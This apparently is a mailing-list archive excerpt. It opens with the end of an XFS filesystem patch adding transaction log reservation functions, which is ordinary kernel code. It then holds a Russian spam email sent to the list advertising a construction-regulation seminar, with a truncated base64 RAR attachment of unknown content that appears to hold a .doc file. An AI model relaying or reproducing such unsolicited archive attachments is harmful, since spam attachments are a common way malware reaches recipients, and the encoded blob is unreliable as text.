mp->m_sb.sb_blocksize); +} + +/* + * Growing the rt section of the filesystem. + * In the third set of transactions (FREE) we update metadata without + * allocating any new blocks. + * superblock: sector size + * bitmap inode: inode size + * summary inode: inode size + * one bitmap block: blocksize + * summary blocks: new summary size + */ +STATIC uint +xfs_calc_growrtfree_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_blocksize) + + xfs_calc_buf_res(1, mp->m_rsumsize); +} + +/* + * Logging the inode modification timestamp on a synchronous write. + * inode + */ +STATIC uint +xfs_calc_swrite_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); +} + +/* + * Logging the inode mode bits when writing a setuid/setgid file + * inode + */ +STATIC uint +xfs_calc_writeid_reservation(xfs_mount_t *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); +} + +/* + * Converting the inode from non-attributed to attributed. + * the inode being converted: inode size + * agf block and superblock (for block allocation) + * the new block (directory sized) + * bmap blocks for the new directory block + * allocation btrees + */ +STATIC uint +xfs_calc_addafork_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, mp->m_dirblksize) + + xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Removing the attribute fork of a file + * the inode being truncated: inode size + * the inode's bmap btree: max depth * block size + * And the bmap_finish transaction can free the blocks and bmap blocks: + * the agf for each of the ags: 4 * sector size + * the agfl for each of the ags: 4 * sector size + * the super block to reflect the freed blocks: sector size + * worst case split in allocation btrees per extent assuming 4 extents: + * 4 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_attrinval_reservation( + struct xfs_mount *mp) +{ + return MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * Setting an attribute at mount time. + * the inode getting the attribute + * the superblock for allocations + * the agfs extents are allocated from + * the attribute btree * max depth + * the inode allocation btree + * Since attribute transaction space is dependent on the size of the attribute, + * the calculation is done partially at mount time and partially at runtime(see + * below). + */ +STATIC uint +xfs_calc_attrsetm_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)); +} + +/* + * Setting an attribute at runtime, transaction space unit per block. + * the superblock for allocations: sector size + * the inode bmap btree could join or split: max depth * block size + * Since the runtime attribute transaction space is dependent on the total + * blocks needed for the 1st bmap, here we calculate out the space unit for + * one block so that the caller could figure out the total space according + * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). + */ +STATIC uint +xfs_calc_attrsetrt_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Removing an attribute. + * the inode: inode size + * the attribute btree could join: max depth * block size + * the inode bmap btree could join or split: max depth * block size + * And the bmap_finish transaction can free the attr blocks freed giving: + * the agf for the ag in which the blocks live: 2 * sector size + * the agfl for the ag in which the blocks live: 2 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_attrrm_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, + XFS_FSB_TO_B(mp, 1)) + + (uint)XFS_FSB_TO_B(mp, + XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * Clearing a bad agino number in an agi hash bucket. + */ +STATIC uint +xfs_calc_clear_agi_bucket_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * Clearing the quotaflags in the superblock. + * the super block for changing quota flags: sector size + */ +STATIC uint +xfs_calc_qm_sbchange_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * Adjusting quota limits. + * the xfs_disk_dquot_t: sizeof(struct xfs_disk_dquot) + */ +STATIC uint +xfs_calc_qm_setqlim_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, sizeof(struct xfs_disk_dquot)); +} + +/* + * Allocating quota on disk if needed. + * the write transaction log space: XFS_WRITE_LOG_RES(mp) + * the unit of quota allocation: one system block size + */ +STATIC uint +xfs_calc_qm_dqalloc_reservation( + struct xfs_mount *mp) +{ + return XFS_WRITE_LOG_RES(mp) + + xfs_calc_buf_res(1, + XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); +} + +/* + * Turning off quotas. + * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 + * the superblock for the quota flags: sector size + */ +STATIC uint +xfs_calc_qm_quotaoff_reservation( + struct xfs_mount *mp) +{ + return sizeof(struct xfs_qoff_logitem) * 2 + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * End of turning off quotas. + * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 + */ +STATIC uint +xfs_calc_qm_quotaoff_end_reservation( + struct xfs_mount *mp) +{ + return sizeof(struct xfs_qoff_logitem) * 2; +} + +/* + * Syncing the incore super block changes to disk. + * the super block to reflect the changes: sector size + */ +STATIC uint +xfs_calc_sb_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +void +xfs_trans_resv_calc( + struct xfs_mount *mp, + struct xfs_trans_resv *resp) +{ + resp->tr_write = xfs_calc_write_reservation(mp); + resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); + resp->tr_rename = xfs_calc_rename_reservation(mp); + resp->tr_link = xfs_calc_link_reservation(mp); + resp->tr_remove = xfs_calc_remove_reservation(mp); + resp->tr_symlink = xfs_calc_symlink_reservation(mp); + resp->tr_create = xfs_calc_create_reservation(mp); + resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); + resp->tr_ifree = xfs_calc_ifree_reservation(mp); + resp->tr_ichange = xfs_calc_ichange_reservation(mp); + resp->tr_growdata = xfs_calc_growdata_reservation(mp); + resp->tr_swrite = xfs_calc_swrite_reservation(mp); + resp->tr_writeid = xfs_calc_writeid_reservation(mp); + resp->tr_addafork = xfs_calc_addafork_reservation(mp); + resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); + resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); + resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); + resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); + resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); + resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); + resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); + resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); + resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); + resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); + resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); + resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); + resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); + resp->tr_sb = xfs_calc_sb_reservation(mp); +} diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index d571d77..7da83aa 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -52,11 +52,11 @@ max_attrsetm_trans_res_adjust( static int max_trans_res_by_mount( - xfs_mount_t *mp) + struct xfs_mount *mp) { - uint *p; - int rval; - xfs_trans_reservations_t *tr = &mp->m_reservations; + uint *p; + int rval; + struct xfs_trans_resv *tr = &mp->m_reservations; for (rval = 0, p = (uint *)tr; p < (uint *)(tr + 1); p++) { if ((int)*p > rval) -- 1.8.3.2 From garifullina_l80@awtravel.com Wed Sep 4 17:56:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A705A29DFC for ; Wed, 4 Sep 2013 17:56:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 906E68F8033 for ; Wed, 4 Sep 2013 15:56:10 -0700 (PDT) X-ASG-Debug-ID: 1378335367-04cb6c153dd54c50001-NocioJ Received: from mail.vlig37.ru (mail.vlig37.ru [217.175.39.108]) by cuda.sgi.com with ESMTP id gj215uHCVM3Xu4r4 for ; Wed, 04 Sep 2013 15:56:08 -0700 (PDT) X-Barracuda-Envelope-From: garifullina_l80@awtravel.com X-Barracuda-Apparent-Source-IP: 217.175.39.108 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vlig37.ru (Postfix) with ESMTP id E22721B02C58; Thu, 5 Sep 2013 02:54:57 +0400 (MSK) X-Virus-Scanned: Debian amavisd-new at mail.vlig37.ru Received: from mail.vlig37.ru ([127.0.0.1]) by localhost (mail.vlig37.ru [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id HLu49zE+39Du; Thu, 5 Sep 2013 02:54:55 +0400 (MSK) Received: from Unknown (unknown [50.126.48.67]) (Authenticated sender: secretar@vlig37.ru) by mail.vlig37.ru (Postfix) with ESMTPA id 376591B02C40; Thu, 5 Sep 2013 02:54:46 +0400 (MSK) Message-ID: Reply-To: =?windows-1251?B?z+7k4+7y7uLq4CDn4OTg7ej/IO3gIO/w7uXq?= =?windows-1251?B?8ujw7uLg7ejlIO7h+uXq8uAg?= From: =?windows-1251?B?z+7k4+7y7uLq4CDn4OTg7ej/IO3gIO/w7uXq?= =?windows-1251?B?8ujw7uLg7ejlIO7h+uXq8uAg?= To: , , , Subject: =?windows-1251?B?0fTl8OAg7/Do7OXt5e3o/yDn4Oru7e7k4PLl?= =?windows-1251?B?6/zx8uLgIO7hIOjt4uXx8uj26O7t7e7pIOTl?= =?windows-1251?B?//Ll6/zt7vHy6A==?= Date: Thu, 5 Sep 2013 00:55:02 +0200 X-ASG-Orig-Subj: =?windows-1251?B?0fTl8OAg7/Do7OXt5e3o/yDn4Oru7e7k4PLl?= =?windows-1251?B?6/zx8uLgIO7hIOjt4uXx8uj26O7t7e7pIOTl?= =?windows-1251?B?//Ll6/zt7vHy6A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1B4E_01CEA9D2.8DCAFD80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: mail.vlig37.ru[217.175.39.108] X-Barracuda-Start-Time: 1378335368 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140348 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_1B4E_01CEA9D2.8DCAFD80 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1B4F_01CEA9D2.8DCAFD80" ------=_NextPart_001_1B4F_01CEA9D2.8DCAFD80 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D6=E5=ED=F2=F0 =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6= =E8=E8 =EF=F0=E8=E3=EB=E0=F8=E0=E5=F2 =ED=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8= =E5 (=F1=E5=EC=E8=ED=E0=F0): =C2=C2=CE=C4 =C2 =DD=CA=D1=CF=CB=D3=C0=D2=C0=D6=C8=DE =CE=C1=DA=C5=CA=D2=C0= =CA=C0=CF. =D1=D2=D0-=C2=C0. =CE=E1=F3=F7=E5=ED=E8=E5 =E1=F3=E4=E5=F2 =EF=F0=EE=F5=EE=E4=E8=F2=FC =E2 = =EF=E5=F0=E8=EE=E4 =F1 23 =EF=EE 24 =F1=E5=ED=F2=FF=E1=F0=FF 2013 =E3=EE=E4= =E0 =E2 =D1=CF=E1 =CF=D0=CE=C3=D0=C0=CC=CC=C0 (=EA=F0=E0=F2=EA=E0=FF) =CA=D3=D0=D1=C0: - =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D1=ED=E8=CF =E8 =E4=F0=F3=E3=E8=F5 =ED=EE= =F0=EC=E0=F2=E8=E2=EE=E2 =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8= =E8 =E8 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5. - =CF=F0=EE=F6=E5=E4=F3=F0=E0 =E2=FB=E4=E0=F7=E8 =E7=E0=EA=EB=FE=F7=E5=ED= =E8=FF =EE =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED= =EE=E3=EE =EE=E1=FA=E5=EA=F2=E0 =EF=F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC= =E5=ED=F2=E0=F6=E8=E8 =E8 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5=ED=E8= =F7=E5=F1=EA=E8=F5 =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2. - =C0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5=ED= =F2: =C2=FB=E4=E0=F7=E0 =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 =E2=E2=EE=E4= =EE=E1=FA=E5=EA=F2=EE=E2 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE= =E8=F2=E5=EB=FC=F1=F2=E2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =F0=E5=E3= =EB=E0=EC=E5=ED=F2=E8=F0=F3=FE=F9=E8=E5 =EF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4= =E0 =E7=E0=EA=EE=ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=EE=EC =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =CE=F1=ED=EE=E2=ED=FB=E5 =EE=F8=E8=E1=EA=E8, =E2=EB=E8=FF=FE=F9=E8=E5 =ED= =E0 =F1=F0=EE=EA=E8 =E2=E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2=E0 =ED=E5=E4=E2=E8= =E6=E8=EC=EE=F1=F2=E8 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE. - =D1=EE=F1=F2=E0=E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE=EA= =F3=EC=E5=ED=F2=E0=F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2=E0= . =E8 =F2=E0=EA =E4=E0=EB=E5=E5. =D0=E0=E7=E2=E5=F0=ED=F3=F2=F3=FE =CF=D0=CE=C3=D0=C0=CC=CC=D3, =F1=EF=E8=F1= =EE=EA =CB=C5=CA=D2=CE=D0=CE=C2 =E8 =D0=C0=D1=CF=C8=D1=C0=CD=C8=C5 =EC=EE= =E6=ED=EE =F3=E7=ED=E0=F2=FC =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3: 8 [ =EA=EE=E4_=CF=E8=F2=E5=F0=E0 ] 98_6 ^ 9=D7 . Il =20 ------=_NextPart_001_1B4F_01CEA9D2.8DCAFD80 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

=D6=E5=ED=F2=F0 =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2=E0=EB=E8=F4=E8=EA=E0= =F6=E8=E8 =EF=F0=E8=E3=EB=E0=F8=E0=E5=F2 =ED=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2= =E8=E5 (=F1=E5=EC=E8=ED=E0=F0):
=C2=C2=CE=C4 =C2 =DD=CA=D1=CF= =CB=D3=C0=D2=C0=D6=C8=DE =CE=C1=DA=C5=CA=D2=C0 =CA=C0=CF. =D1=D2=D0-=C2=C0= .

=CE=E1=F3=F7=E5=ED=E8=E5 =E1=F3=E4=E5=F2 =EF=F0=EE= =F5=EE=E4=E8=F2=FC =E2 =EF=E5=F0=E8=EE=E4 =F1 23 =EF=EE 24 =F1=E5=ED=F2=FF= =E1=F0=FF 2013 =E3=EE=E4=E0 =E2 =D1=CF=E1

<= div>

=CF=D0=CE=C3=D0=C0=CC= =CC=C0 (=EA=F0=E0=F2=EA=E0=FF) =CA=D3=D0=D1=C0:
- =D2=F0=E5=E1= =EE=E2=E0=ED=E8=FF =D1=ED=E8=CF =E8 =E4=F0=F3=E3=E8=F5 =ED=EE=F0=EC=E0=F2= =E8=E2=EE=E2 =EF=F0=E8 =EF=F0=EE=E5=EA=F2=E8=F0=EE=E2=E0=ED=E8=E8 =E8 =F1= =F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E5.
- =CF=F0=EE=F6=E5=E4=F3= =F0=E0 =E2=FB=E4=E0=F7=E8 =E7=E0=EA=EB=FE=F7=E5=ED=E8=FF =EE =F1=EE=EE=F2= =E2=E5=F2=F1=F2=E2=E8=E8 =EF=EE=F1=F2=F0=EE=E5=ED=ED=EE=E3=EE =EE=E1=FA=E5= =EA=F2=E0 =EF=F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8= =E8 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5 = =F0=E5=E3=EB=E0=EC=E5=ED=F2=EE=E2.
- =C0=E4=EC=E8=ED=E8=F1=F2= =F0=E0=F2=E8=E2=ED=FB=E9 =F0=E5=E3=EB=E0=EC=E5=ED=F2: =C2=FB=E4=E0=F7=E0 = =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 =E2=E2=EE=E4 =EE=E1=FA=E5=EA=F2=EE=E2= =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2= =E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
- =CD=EE=F0=EC= =E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB, =F0=E5=E3=EB=E0=EC=E5=ED= =F2=E8=F0=F3=FE=F9=E8=E5 =EF=EE=F0=FF=E4=EE=EA =E2=E2=EE=E4=E0 =E7=E0=EA=EE= =ED=F7=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE=EC =EE=E1= =FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
- = =CE=F1=ED=EE=E2=ED=FB=E5 =EE=F8=E8=E1=EA=E8, =E2=EB=E8=FF=FE=F9=E8=E5 =ED= =E0 =F1=F0=EE=EA=E8 =E2=E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2=E0 =ED=E5=E4=E2=E8= =E6=E8=EC=EE=F1=F2=E8 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE.
- =D1=EE=F1=F2=E0=E2 =E8=F1=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=EE=E9 =E4=EE= =EA=F3=EC=E5=ED=F2=E0=F6=E8=E8 =EF=F0=E8 =F1=E4=E0=F7=E5 =EE=E1=FA=E5=EA=F2= =E0.
=E8 =F2=E0=EA =E4=E0=EB=E5=E5.

=D0=E0= =E7=E2=E5=F0=ED=F3=F2=F3=FE =CF=D0=CE=C3=D0=C0=CC=CC=D3, =F1=EF=E8=F1=EE=EA= =CB=C5=CA=D2=CE=D0=CE=C2 =E8 =D0=C0=D1=CF=C8=D1=C0=CD=C8=C5 =EC=EE=E6=ED= =EE =F3=E7=ED=E0=F2=FC =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3:
8 = [ =EA=EE=E4_=CF=E8=F2=E5=F0=E0 ] 98_6 ^ 9=D7 . Il

= ------=_NextPart_001_1B4F_01CEA9D2.8DCAFD80-- ------=_NextPart_000_1B4E_01CEA9D2.8DCAFD80 Content-Type: application/octet-stream; name="=?windows-1251?B?7/Do6+7m5e3o5SC5MS5yYXI=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?7/Do6+7m5e3o5SC5MS5yYXI=?=" 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 